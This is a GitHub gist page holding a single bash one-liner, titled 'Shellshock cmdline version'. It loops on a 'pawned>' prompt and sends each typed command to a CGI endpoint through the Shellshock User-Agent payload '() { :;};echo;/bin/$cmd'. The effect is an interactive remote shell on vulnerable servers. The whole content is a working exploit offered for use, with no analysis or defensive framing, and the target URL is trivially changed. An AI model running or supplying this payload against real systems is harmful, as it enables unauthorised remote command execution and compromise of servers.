Last active
August 29, 2015 14:06
-
-
Save mfadzilr/70892f43597e7863a8dc to your computer and use it in GitHub Desktop.
Shellshock cmdline version
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
while true; do read -p 'pawned>' cmd; cmd="$cmd"; curl -i -X OPTIONS -H "User-Agent: () { :;};echo;/bin/$cmd" "http://localhost/cgi-bin/hello"; done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment